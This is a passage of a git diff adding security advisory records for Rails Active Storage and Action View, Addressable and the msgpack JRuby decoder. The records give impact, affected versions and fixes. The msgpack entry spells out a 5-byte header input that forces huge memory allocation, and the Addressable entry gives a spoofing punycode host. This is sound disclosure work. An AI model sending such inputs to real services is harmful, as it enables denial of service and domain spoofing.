[w3rmut](https://hackerone.com/w3rmut).","affected":[{"package":{"name":"activestorage","ecosystem":"RubyGems","purl":"pkg:gem/activestorage"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.1.0.beta1"},{"fixed":"8.1.4.1"}]}],"versions":["8.1.0","8.1.0.beta1","8.1.0.rc1","8.1.1","8.1.2","8.1.2.1","8.1.3","8.1.3.1","8.1.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3f4q-8x5m-76v8/GHSA-3f4q-8x5m-76v8.json"}},{"package":{"name":"activestorage","ecosystem":"RubyGems","purl":"pkg:gem/activestorage"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.0.5.2"}]}],"versions":["0.1","5.2.0","5.2.0.beta1","5.2.0.beta2","5.2.0.rc1","5.2.0.rc2","5.2.1","5.2.1.1","5.2.1.rc1","5.2.2","5.2.2.1","5.2.2.rc1","5.2.3","5.2.3.rc1","5.2.4","5.2.4.1","5.2.4.2","5.2.4.3","5.2.4.4","5.2.4.5","5.2.4.6","5.2.4.rc1","5.2.5","5.2.6","5.2.6.1","5.2.6.2","5.2.6.3","5.2.7","5.2.7.1","5.2.8","5.2.8.1","6.0.0","6.0.0.beta1","6.0.0.beta2","6.0.0.beta3","6.0.0.rc1","6.0.0.rc2","6.0.1","6.0.1.rc1","6.0.2","6.0.2.1","6.0.2.2","6.0.2.rc1","6.0.2.rc2","6.0.3","6.0.3.1","6.0.3.2","6.0.3.3","6.0.3.4","6.0.3.5","6.0.3.6","6.0.3.7","6.0.3.rc1","6.0.4","6.0.4.1","6.0.4.2","6.0.4.3","6.0.4.4","6.0.4.5","6.0.4.6","6.0.4.7","6.0.4.8","6.0.5","6.0.5.1","6.0.6","6.0.6.1","6.1.0","6.1.0.rc1","6.1.0.rc2","6.1.1","6.1.2","6.1.2.1","6.1.3","6.1.3.1","6.1.3.2","6.1.4","6.1.4.1","6.1.4.2","6.1.4.3","6.1.4.4","6.1.4.5","6.1.4.6","6.1.4.7","6.1.5","6.1.5.1","6.1.6","6.1.6.1","6.1.7","6.1.7.1","6.1.7.10","6.1.7.2","6.1.7.3","6.1.7.4","6.1.7.5","6.1.7.6","6.1.7.7","6.1.7.8","6.1.7.9","7.0.0","7.0.0.alpha1","7.0.0.alpha2","7.0.0.rc1","7.0.0.rc2","7.0.0.rc3","7.0.1","7.0.10","7.0.2","7.0.2.1","7.0.2.2","7.0.2.3","7.0.2.4","7.0.3","7.0.3.1","7.0.4","7.0.4.1","7.0.4.2","7.0.4.3","7.0.5","7.0.5.1","7.0.6","7.0.7","7.0.7.1","7.0.7.2","7.0.8","7.0.8.1","7.0.8.2","7.0.8.3","7.0.8.4","7.0.8.5","7.0.8.6","7.0.8.7","7.1.0","7.1.0.beta1","7.1.0.rc1","7.1.0.rc2","7.1.1","7.1.2","7.1.3","7.1.3.1","7.1.3.2","7.1.3.3","7.1.3.4","7.1.4","7.1.4.1","7.1.4.2","7.1.5","7.1.5.1","7.1.5.2","7.1.6","7.2.0","7.2.0.beta1","7.2.0.beta2","7.2.0.beta3","7.2.0.rc1","7.2.1","7.2.1.1","7.2.1.2","7.2.2","7.2.2.1","7.2.2.2","7.2.3","7.2.3.1","7.2.3.2","7.2.4","8.0.0","8.0.0.1","8.0.0.beta1","8.0.0.rc1","8.0.0.rc2","8.0.1","8.0.2","8.0.2.1","8.0.3","8.0.4","8.0.4.1","8.0.5","8.0.5.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3f4q-8x5m-76v8/GHSA-3f4q-8x5m-76v8.json"}}],"references":[{"type":"WEB","url":"https://github.com/rails/rails/security/advisories/GHSA-3f4q-8x5m-76v8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126188"},{"type":"WEB","url":"https://github.com/rails/rails/commit/3b1f2627538dc597cd973530c08514a26c2b0282"},{"type":"WEB","url":"https://github.com/rails/rails/commit/69aff80d115bbb9d1e82fd6c6f2fd3ddeafb958b"},{"type":"PACKAGE","url":"https://github.com/rails/rails"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.0.5.2"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.1.4.1"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/activestorage/GHSA-3f4q-8x5m-76v8.yml"}],"database_specific":{"cwe_ids":["CWE-200"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T21:54:18Z","nvd_published_at":"2026-11-11T00:18:47Z","severity":"LOW"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"}]} \ No newline at end of file diff --git a/data/RubyGems/GHSA-3w93-6hmw-whh4.json b/data/RubyGems/GHSA-3w93-6hmw-whh4.json new file mode 100644 index 0000000000..1aab4df84f --- /dev/null +++ b/data/RubyGems/GHSA-3w93-6hmw-whh4.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-3w93-6hmw-whh4","published":"2026-11-12T23:37:55Z","modified":"2026-11-12T23:45:03.302501225Z","aliases":["CVE-2026-126084"],"summary":"Active Storage: Unsigned Content-Type in GCS direct uploads with cache_control","details":"### Impact\nWhen a GCS service is configured with the `cache_control` option, `ActiveStorage::Service::GCSService#url_for_direct_upload` signs direct-upload URLs with V4, and the V4 signature covers only the `Cache-Control` and `Host` headers. A direct-upload client can therefore send a `Content-Type` of its choosing, and can omit the declared `Content-MD5`, without invalidating the URL. GCS stores the supplied content type as object metadata, which takes precedence over the `response-content-type` that Active Storage sets on download URLs, so an uploaded object could be served as inline HTML under the application's bucket path on `storage.googleapis.com`. Script in such an object runs on the storage origin rather than the application's, but could register a Service Worker scoped to the bucket path and read or replace a victim's later responses for signed URLs in that bucket.\n\nApplications that use the GCS service with `cache_control` configured and accept direct uploads are affected. GCS services without `cache_control` sign with V2 and are not affected.\n\n### Details\nThe fixed releases sign every GCS direct-upload URL with V2, which binds an empty `Content-Type` and the declared `Content-MD5`. The configured `Cache-Control` is still returned by `headers_for_direct_upload` and sent by the client, but it is no longer part of the signature, and direct-upload URLs for these services are no longer limited to V4's seven-day maximum expiry. See the Active Storage CHANGELOG.\n\n### Workarounds\nRemoving the `cache_control` option from the GCS service configuration makes Active Storage sign direct uploads with V2.\n\n### Releases\nThe fixed releases are available at the normal locations.\n\nPatches for those who cannot upgrade at once:\n- 8.1: https://github.com/rails/rails/commit/8d93f6a872e9550a91bf0e4fce50083a235ef3b1.patch\n- 8.0: https://github.com/rails/rails/commit/ddc08ba61a8001e7402864c62e466cf732fc7614.patch\n\n### Credit\nThis issue was responsibly reported by HackerOne researcher [thepo1es](https://hackerone.com/thepo1es).","affected":[{"package":{"name":"activestorage","ecosystem":"RubyGems","purl":"pkg:gem/activestorage"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.1.0.beta1"},{"fixed":"8.1.4.1"}]}],"versions":["8.1.0","8.1.0.beta1","8.1.0.rc1","8.1.1","8.1.2","8.1.2.1","8.1.3","8.1.3.1","8.1.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3w93-6hmw-whh4/GHSA-3w93-6hmw-whh4.json"}},{"package":{"name":"activestorage","ecosystem":"RubyGems","purl":"pkg:gem/activestorage"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.0.5.2"}]}],"versions":["0.1","5.2.0","5.2.0.beta1","5.2.0.beta2","5.2.0.rc1","5.2.0.rc2","5.2.1","5.2.1.1","5.2.1.rc1","5.2.2","5.2.2.1","5.2.2.rc1","5.2.3","5.2.3.rc1","5.2.4","5.2.4.1","5.2.4.2","5.2.4.3","5.2.4.4","5.2.4.5","5.2.4.6","5.2.4.rc1","5.2.5","5.2.6","5.2.6.1","5.2.6.2","5.2.6.3","5.2.7","5.2.7.1","5.2.8","5.2.8.1","6.0.0","6.0.0.beta1","6.0.0.beta2","6.0.0.beta3","6.0.0.rc1","6.0.0.rc2","6.0.1","6.0.1.rc1","6.0.2","6.0.2.1","6.0.2.2","6.0.2.rc1","6.0.2.rc2","6.0.3","6.0.3.1","6.0.3.2","6.0.3.3","6.0.3.4","6.0.3.5","6.0.3.6","6.0.3.7","6.0.3.rc1","6.0.4","6.0.4.1","6.0.4.2","6.0.4.3","6.0.4.4","6.0.4.5","6.0.4.6","6.0.4.7","6.0.4.8","6.0.5","6.0.5.1","6.0.6","6.0.6.1","6.1.0","6.1.0.rc1","6.1.0.rc2","6.1.1","6.1.2","6.1.2.1","6.1.3","6.1.3.1","6.1.3.2","6.1.4","6.1.4.1","6.1.4.2","6.1.4.3","6.1.4.4","6.1.4.5","6.1.4.6","6.1.4.7","6.1.5","6.1.5.1","6.1.6","6.1.6.1","6.1.7","6.1.7.1","6.1.7.10","6.1.7.2","6.1.7.3","6.1.7.4","6.1.7.5","6.1.7.6","6.1.7.7","6.1.7.8","6.1.7.9","7.0.0","7.0.0.alpha1","7.0.0.alpha2","7.0.0.rc1","7.0.0.rc2","7.0.0.rc3","7.0.1","7.0.10","7.0.2","7.0.2.1","7.0.2.2","7.0.2.3","7.0.2.4","7.0.3","7.0.3.1","7.0.4","7.0.4.1","7.0.4.2","7.0.4.3","7.0.5","7.0.5.1","7.0.6","7.0.7","7.0.7.1","7.0.7.2","7.0.8","7.0.8.1","7.0.8.2","7.0.8.3","7.0.8.4","7.0.8.5","7.0.8.6","7.0.8.7","7.1.0","7.1.0.beta1","7.1.0.rc1","7.1.0.rc2","7.1.1","7.1.2","7.1.3","7.1.3.1","7.1.3.2","7.1.3.3","7.1.3.4","7.1.4","7.1.4.1","7.1.4.2","7.1.5","7.1.5.1","7.1.5.2","7.1.6","7.2.0","7.2.0.beta1","7.2.0.beta2","7.2.0.beta3","7.2.0.rc1","7.2.1","7.2.1.1","7.2.1.2","7.2.2","7.2.2.1","7.2.2.2","7.2.3","7.2.3.1","7.2.3.2","7.2.4","8.0.0","8.0.0.1","8.0.0.beta1","8.0.0.rc1","8.0.0.rc2","8.0.1","8.0.2","8.0.2.1","8.0.3","8.0.4","8.0.4.1","8.0.5","8.0.5.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-3w93-6hmw-whh4/GHSA-3w93-6hmw-whh4.json"}}],"references":[{"type":"WEB","url":"https://github.com/rails/rails/security/advisories/GHSA-3w93-6hmw-whh4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126084"},{"type":"WEB","url":"https://github.com/rails/rails/commit/8d93f6a872e9550a91bf0e4fce50083a235ef3b1"},{"type":"WEB","url":"https://github.com/rails/rails/commit/ddc08ba61a8001e7402864c62e466cf732fc7614"},{"type":"PACKAGE","url":"https://github.com/rails/rails"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.0.5.2"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.1.4.1"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/activestorage/GHSA-3w93-6hmw-whh4.yml"}],"database_specific":{"cwe_ids":["CWE-345"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T23:37:55Z","nvd_published_at":"2026-11-10T21:19:27Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N"}]} \ No newline at end of file diff --git a/data/RubyGems/GHSA-539f-xcgw-2gjg.json b/data/RubyGems/GHSA-539f-xcgw-2gjg.json new file mode 100644 index 0000000000..5a85bfb7c9 --- /dev/null +++ b/data/RubyGems/GHSA-539f-xcgw-2gjg.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-539f-xcgw-2gjg","published":"2026-11-12T22:44:15Z","modified":"2026-11-12T23:00:05.606817854Z","aliases":["CVE-2026-126349"],"summary":"Addressable display_uri can show misleading hosts containing bidi and invisible characters","details":"### Impact\n\n`Addressable::IDNA.to_unicode` decodes Punycode labels (labels beginning with `xn--`) that contain characters which change how text is displayed without being visible themselves. These include bidirectional controls such as U+202E RIGHT-TO-LEFT OVERRIDE and U+2066–U+2069, zero-width characters, and other invisible format characters. `Addressable::URI#display_uri` uses `to_unicode`, so it can display a host whose characters appear reordered or which looks identical to a different host. For example, the host of `http://xn--abcmoc-dm0c.com/` is displayed as `abc`, U+202E, `moc.com`, and the override makes everything after `abc` render right to left.\n\nParsing, `host`, `normalized_host` and any connection made from the URI are not affected. Only the displayed form is. Applications that show `display_uri` to users (link previews, chat and email clients, admin interfaces) can be used to make a malicious domain look like a trusted one.\n\n- In the pure-Ruby IDNA implementation, all such characters are decoded, including those that IDNA's nameprep profile prohibits.\n- In the native IDNA implementation, used when libidn and the `idn-ruby` gem are installed, libidn rejects most of them, but not characters added to Unicode after version 3.2, such as U+061C and U+2066–U+2069.\n\n### Affected Versions\n\nThe pure-Ruby IDNA implementation is affected in Addressable >= 2.0.0. The native IDNA implementation is affected in Addressable >= 2.5.2, when `to_unicode` began accepting characters unassigned in Unicode 3.2. It is fixed in 2.9.1 for both implementations, where such labels are returned unchanged.\n\n### Workarounds\n\n- Install libidn and the `idn-ruby` gem, so that Addressable uses the native IDNA implementation. This reduces the affected characters to those added since Unicode 3.2.\n- Check displayed hosts for bidirectional and invisible characters (e.g., `/[\\p{Cc}\\p{Cf}\\p{Default_Ignorable_Code_Point}]/`) and fall back to `normalized_host` when one is present.\n\n### Credits\n\nReported by @andrewstellman.\n\n### For more information\n\nIf there are any questions or comments about this advisory:\n* [Open an issue](https://github.com/sporkmonger/addressable/issues)","affected":[{"package":{"name":"addressable","ecosystem":"RubyGems","purl":"pkg:gem/addressable"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.9.1"}]}],"versions":["2.0.0","2.0.1","2.0.2","2.1.0","2.1.1","2.1.2","2.2.0","2.2.1","2.2.2","2.2.3","2.2.4","2.2.5","2.2.6","2.2.7","2.2.8","2.3.2","2.3.3","2.3.4","2.3.5","2.3.6","2.3.7","2.3.8","2.4.0","2.5.0","2.5.1","2.5.2","2.6.0","2.7.0","2.8.0","2.8.1","2.8.10","2.8.2","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-539f-xcgw-2gjg/GHSA-539f-xcgw-2gjg.json"}}],"references":[{"type":"WEB","url":"https://github.com/sporkmonger/addressable/security/advisories/GHSA-539f-xcgw-2gjg"},{"type":"WEB","url":"https://github.com/sporkmonger/addressable/commit/60455d32bb59fda2585a0e1865a9fcb21e8e55b1"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/addressable/GHSA-539f-xcgw-2gjg.yml"},{"type":"PACKAGE","url":"https://github.com/sporkmonger/addressable"},{"type":"WEB","url":"https://github.com/sporkmonger/addressable/releases/tag/addressable-2.9.1"}],"database_specific":{"cwe_ids":["CWE-1007","CWE-176","CWE-451"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T22:44:15Z","nvd_published_at":null,"severity":"LOW"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N"}]} \ No newline at end of file diff --git a/data/RubyGems/GHSA-68p9-83h6-5wpj.json b/data/RubyGems/GHSA-68p9-83h6-5wpj.json new file mode 100644 index 0000000000..73a38c01d1 --- /dev/null +++ b/data/RubyGems/GHSA-68p9-83h6-5wpj.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-68p9-83h6-5wpj","published":"2026-11-12T22:08:21Z","modified":"2026-11-12T22:15:03.756635963Z","aliases":["CVE-2026-126069"],"summary":"Action View: Possible XSS vulnerability in tag helpers","details":"### Impact\nThe fix for [CVE-2026-33168](https://github.com/rails/rails/security/advisories/GHSA-v55j-83pf-r9cq) skips blank HTML attribute names in Action View tag helpers, but it tests the name before converting it to a string. A Symbol name made only of whitespace, such as `:\" \"`, is not blank, because `Symbol#blank?` is `Symbol#empty?`, so it reaches the attribute escaping, which emits an attribute with no name and produces malformed HTML. The asset tag helpers, such as `image_tag`, `video_tag` and `audio_tag`, symbolize their options, so a whitespace String name passed to them takes the same path. A carefully crafted attribute value could then be misinterpreted by the browser as a separate attribute name, possibly leading to XSS. Applications that allow users to specify custom HTML attribute names are affected.\n\n### Releases\nThe fixed releases are available at the normal locations.\n\nPatches for those who cannot upgrade at once:\n- 8.1: https://github.com/rails/rails/commit/9190210606ffe52f92fdc75637f8ff69404f22c8.patch\n- 8.0: https://github.com/rails/rails/commit/f47452533e1f28d847c63181b9d5f8b7243ef9a4.patch\n\n### Credit\nThis issue was responsibly reported by HackerOne researcher [thepo1es](https://hackerone.com/thepo1es).","affected":[{"package":{"name":"actionview","ecosystem":"RubyGems","purl":"pkg:gem/actionview"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.1.0.beta1"},{"fixed":"8.1.4.1"}]}],"versions":["8.1.0","8.1.0.beta1","8.1.0.rc1","8.1.1","8.1.2","8.1.2.1","8.1.3","8.1.3.1","8.1.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-68p9-83h6-5wpj/GHSA-68p9-83h6-5wpj.json"}},{"package":{"name":"actionview","ecosystem":"RubyGems","purl":"pkg:gem/actionview"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.0.5.2"}]}],"versions":["4.1.0","4.1.0.beta1","4.1.0.beta2","4.1.0.rc1","4.1.0.rc2","4.1.1","4.1.10","4.1.10.rc1","4.1.10.rc2","4.1.10.rc3","4.1.10.rc4","4.1.11","4.1.12","4.1.12.rc1","4.1.13","4.1.13.rc1","4.1.14","4.1.14.1","4.1.14.2","4.1.14.rc1","4.1.14.rc2","4.1.15","4.1.15.rc1","4.1.16","4.1.16.rc1","4.1.2","4.1.2.rc1","4.1.2.rc2","4.1.2.rc3","4.1.3","4.1.4","4.1.5","4.1.6","4.1.6.rc1","4.1.6.rc2","4.1.7","4.1.7.1","4.1.8","4.1.9","4.1.9.rc1","4.2.0","4.2.0.beta1","4.2.0.beta2","4.2.0.beta3","4.2.0.beta4","4.2.0.rc1","4.2.0.rc2","4.2.0.rc3","4.2.1","4.2.1.rc1","4.2.1.rc2","4.2.1.rc3","4.2.1.rc4","4.2.10","4.2.10.rc1","4.2.11","4.2.11.1","4.2.11.2","4.2.11.3","4.2.2","4.2.3","4.2.3.rc1","4.2.4","4.2.4.rc1","4.2.5","4.2.5.1","4.2.5.2","4.2.5.rc1","4.2.5.rc2","4.2.6","4.2.6.rc1","4.2.7","4.2.7.1","4.2.7.rc1","4.2.8","4.2.8.rc1","4.2.9","4.2.9.rc1","4.2.9.rc2","5.0.0","5.0.0.1","5.0.0.beta1","5.0.0.beta1.1","5.0.0.beta2","5.0.0.beta3","5.0.0.beta4","5.0.0.racecar1","5.0.0.rc1","5.0.0.rc2","5.0.1","5.0.1.rc1","5.0.1.rc2","5.0.2","5.0.2.rc1","5.0.3","5.0.4","5.0.4.rc1","5.0.5","5.0.5.rc1","5.0.5.rc2","5.0.6","5.0.6.rc1","5.0.7","5.0.7.1","5.0.7.2","5.1.0","5.1.0.beta1","5.1.0.rc1","5.1.0.rc2","5.1.1","5.1.2","5.1.2.rc1","5.1.3","5.1.3.rc1","5.1.3.rc2","5.1.3.rc3","5.1.4","5.1.4.rc1","5.1.5","5.1.5.rc1","5.1.6","5.1.6.1","5.1.6.2","5.1.7","5.1.7.rc1","5.2.0","5.2.0.beta1","5.2.0.beta2","5.2.0.rc1","5.2.0.rc2","5.2.1","5.2.1.1","5.2.1.rc1","5.2.2","5.2.2.1","5.2.2.rc1","5.2.3","5.2.3.rc1","5.2.4","5.2.4.1","5.2.4.2","5.2.4.3","5.2.4.4","5.2.4.5","5.2.4.6","5.2.4.rc1","5.2.5","5.2.6","5.2.6.1","5.2.6.2","5.2.6.3","5.2.7","5.2.7.1","5.2.8","5.2.8.1","6.0.0","6.0.0.beta1","6.0.0.beta2","6.0.0.beta3","6.0.0.rc1","6.0.0.rc2","6.0.1","6.0.1.rc1","6.0.2","6.0.2.1","6.0.2.2","6.0.2.rc1","6.0.2.rc2","6.0.3","6.0.3.1","6.0.3.2","6.0.3.3","6.0.3.4","6.0.3.5","6.0.3.6","6.0.3.7","6.0.3.rc1","6.0.4","6.0.4.1","6.0.4.2","6.0.4.3","6.0.4.4","6.0.4.5","6.0.4.6","6.0.4.7","6.0.4.8","6.0.5","6.0.5.1","6.0.6","6.0.6.1","6.1.0","6.1.0.rc1","6.1.0.rc2","6.1.1","6.1.2","6.1.2.1","6.1.3","6.1.3.1","6.1.3.2","6.1.4","6.1.4.1","6.1.4.2","6.1.4.3","6.1.4.4","6.1.4.5","6.1.4.6","6.1.4.7","6.1.5","6.1.5.1","6.1.6","6.1.6.1","6.1.7","6.1.7.1","6.1.7.10","6.1.7.2","6.1.7.3","6.1.7.4","6.1.7.5","6.1.7.6","6.1.7.7","6.1.7.8","6.1.7.9","7.0.0","7.0.0.alpha1","7.0.0.alpha2","7.0.0.rc1","7.0.0.rc2","7.0.0.rc3","7.0.1","7.0.10","7.0.2","7.0.2.1","7.0.2.2","7.0.2.3","7.0.2.4","7.0.3","7.0.3.1","7.0.4","7.0.4.1","7.0.4.2","7.0.4.3","7.0.5","7.0.5.1","7.0.6","7.0.7","7.0.7.1","7.0.7.2","7.0.8","7.0.8.1","7.0.8.2","7.0.8.3","7.0.8.4","7.0.8.5","7.0.8.6","7.0.8.7","7.0.9","7.1.0","7.1.0.beta1","7.1.0.rc1","7.1.0.rc2","7.1.1","7.1.2","7.1.3","7.1.3.1","7.1.3.2","7.1.3.3","7.1.3.4","7.1.4","7.1.4.1","7.1.4.2","7.1.5","7.1.5.1","7.1.5.2","7.1.6","7.2.0","7.2.0.beta1","7.2.0.beta2","7.2.0.beta3","7.2.0.rc1","7.2.1","7.2.1.1","7.2.1.2","7.2.2","7.2.2.1","7.2.2.2","7.2.3","7.2.3.1","7.2.3.2","7.2.4","8.0.0","8.0.0.1","8.0.0.beta1","8.0.0.rc1","8.0.0.rc2","8.0.1","8.0.2","8.0.2.1","8.0.3","8.0.4","8.0.4.1","8.0.5","8.0.5.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-68p9-83h6-5wpj/GHSA-68p9-83h6-5wpj.json"}}],"references":[{"type":"WEB","url":"https://github.com/rails/rails/security/advisories/GHSA-68p9-83h6-5wpj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126069"},{"type":"WEB","url":"https://github.com/rails/rails/commit/9190210606ffe52f92fdc75637f8ff69404f22c8"},{"type":"WEB","url":"https://github.com/rails/rails/commit/f47452533e1f28d847c63181b9d5f8b7243ef9a4"},{"type":"PACKAGE","url":"https://github.com/rails/rails"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.0.5.2"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.1.4.1"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/actionview/GHSA-68p9-83h6-5wpj.yml"}],"database_specific":{"cwe_ids":["CWE-79"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T22:08:21Z","nvd_published_at":"2026-11-10T21:19:24Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N"}]} \ No newline at end of file diff --git a/data/RubyGems/GHSA-73v3-wf97-vpgj.json b/data/RubyGems/GHSA-73v3-wf97-vpgj.json new file mode 100644 index 0000000000..9b975109a8 --- /dev/null +++ b/data/RubyGems/GHSA-73v3-wf97-vpgj.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-73v3-wf97-vpgj","published":"2026-11-12T22:54:59Z","modified":"2026-11-12T23:00:05.611968338Z","aliases":["CVE-2026-126366"],"summary":"msgpack-ruby JRuby decoder makes uncapped header-count allocations; a 5-byte message forces multi-GiB OOM","details":"### Summary\n\nThe **JRuby** implementation of msgpack (`msgpack` gem, `java` platform — pure Java decoder under `ext/java/`) sizes containers directly from the element count written in the message header, with **no cap at all**: no equivalent of the C unpacker's `SHRT_MAX` clamp (since 1.7.3) and none of the buffered-bytes cap that commit c8d42d8 added for CRuby in 1.8.6. A single 5-byte message decides how much memory a JVM process tries to allocate:\n\n* `array32` header declaring `0x7FFFFFFF` elements → `new IRubyObject[0x7FFFFFFF]` (~8 GiB of reference slots) attempted immediately → `java.lang.OutOfMemoryError: Requested array size exceeds VM limit`.\n* Counts *below* the VM's max-array-size but above available heap (e.g. 5×10⁸ with a 512 MiB heap) produce a **real allocation attempt** — `OutOfMemoryError: Java heap space` — the JVM genuinely tries to take the memory before failing.\n* `str32`/`bin32` headers declaring `0x7FFFFFFF` bytes do the same via `readBytes(size)` → `new byte[size]`.\n* Below the failure threshold there is a **silent band**: one streaming unpacker fed only an `array32` header with count 2×10⁷ (5 wire bytes, zero elements) grows used heap **+78 MiB immediately**, no exception (`each` swallows the underflow), and the footprint stays elevated after `Unpacker#reset` + full GC. Linear in declared count (~4 B/element); nothing bounds it — not delivered bytes, not a per-container cap.\n\nOnly counts ≥ 2³¹ are refused (a clean `MessagePack::UnderflowError` from `getUnsignedInt()`), and only **maps** are safe (`consumeHash` grows per element instead of pre-sizing). Verified on the released gem `msgpack 1.8.6 java`, JRuby 9.4.12 / OpenJDK 25, 2026-10-30 — i.e. **unfixed in the current release**. Proposed fix mirrors c8d42d8: cap initial allocation by bytes actually buffered and grow as data arrives; read strings in bounded chunks instead of allocating the declared length up front.\n\n\n### Details\n\n### 1. The four dispatch arms, and which pre-allocate (line numbers at tag v1.8.6 — current release; `ext/java` has no commits after it)\n\n| header | dispatch ([Decoder.java](https://github.com/msgpack/msgpack-ruby/blob/v1.8.6/ext/java/org/msgpack/jruby/Decoder.java)) | behaviour on the declared count | measured (released 1.8.6-java, Xmx512m) |\n|---|---|---|---|\n| `array32` `\\xdd` | [:296](https://github.com/msgpack/msgpack-ruby/blob/v1.8.6/ext/java/org/msgpack/jruby/Decoder.java#L296) → [`consumeArray(int size)` :139-145](https://github.com/msgpack/msgpack-ruby/blob/v1.8.6/ext/java/org/msgpack/jruby/Decoder.java#L139-L145) | `new IRubyObject[size]` **immediately**, before reading any element | count `0x7FFFFFFF`: OOME \"Requested array size exceeds VM limit\"; count 5×10⁸: OOME \"**Java heap space**\" (real allocation attempt); count 2×10⁷: **+78 MiB, silent** |\n| `str32` `\\xdb` | [:294](https://github.com/msgpack/msgpack-ruby/blob/v1.8.6/ext/java/org/msgpack/jruby/Decoder.java#L294) → [`consumeString` :129](https://github.com/msgpack/msgpack-ruby/blob/v1.8.6/ext/java/org/msgpack/jruby/Decoder.java#L129) → [`readBytes(int size)` :186-190](https://github.com/msgpack/msgpack-ruby/blob/v1.8.6/ext/java/org/msgpack/jruby/Decoder.java#L186-L190) | `new byte[size]` **immediately** | len `0x7FFFFFFF`: OOME \"array size exceeds VM limit\" |\n| `bin32` `\\xc6` | [:269](https://github.com/msgpack/msgpack-ruby/blob/v1.8.6/ext/java/org/msgpack/jruby/Decoder.java#L269) → same `consumeString`/`readBytes` | same | len `0x7FFFFFFF`: OOME \"array size exceeds VM limit\" |\n| `map32` `\\xdf` | [:298](https://github.com/msgpack/msgpack-ruby/blob/v1.8.6/ext/java/org/msgpack/jruby/Decoder.java#L298) → [`consumeHash(int size)` :147+](https://github.com/msgpack/msgpack-ruby/blob/v1.8.6/ext/java/org/msgpack/jruby/Decoder.java#L147) | **no pre-allocation** — inserts per element, underflows on first missing byte | count `0x7FFFFFFF`: no exception (swallowed), no large allocation |\n\nThe only guard is [`getUnsignedInt()` :88-94](https://github.com/msgpack/msgpack-ruby/blob/v1.8.6/ext/java/org/msgpack/jruby/Decoder.java#L88-L94): counts with the top bit set (≥ 2³¹) raise `MessagePack::UnderflowError: Size too large (limited to 2**31 for the Java version)`. That bounds the *value* but leaves the entire positive band `(available heap, 2³¹)` unbounded — and that band is where real allocation attempts happen.\n\n### 2. Contrast with the C implementation (same repo)\n\nThe CRuby unpacker has had a per-container cap since 1.7.3 (`INITIAL_BUFFER_CAPACITY_MAX = SHRT_MAX`) and, since [c8d42d8](https://github.com/msgpack/msgpack-ruby/commit/c8d42d8) in **1.8.6**, additionally caps initial size by bytes actually buffered (\"an element needs at least one byte…\"). Strings on C are bounded too (`read_raw_body_cont` allocates `min(remaining, buffered)`). The Java decoder has **neither generation of cap** — it is strictly behind the CRuby behaviour this repo already considers correct enough to ship.\n\n### 3. Silent retention + mechanism control (measured 2026-10-30, released gem)\n\nOne `MessagePack::Unpacker` per process, fed only a header (`\"\\xdd\" + [count].pack('N')`), zero elements; heap = `Runtime.total_memory - free_memory` after `GC.start` on both sides:\n\n| declared count | used heap before → after | delta | exception? |\n|---|---|---|---|\n| 1,000,000 | 26.4 → 31.1 MiB | +4.7 | none (`each` swallows the underflow) |\n| 5,000,000 | 53.3 → 74.0 MiB | +20.7 | none |\n| 20,000,000 | 51.3 → 129.3 MiB | **+78.0** | none |\n\nMechanism control: after the feed, `Unpacker#reset` + three `GC.start` cycles left used heap at **+79.4 MiB above baseline** (2×10⁷ arm) — the elevation is *not* unpacker-held state; it is JVM heap already spent on header-declared allocation and not returned. Either way the process footprint grows per attack and stays 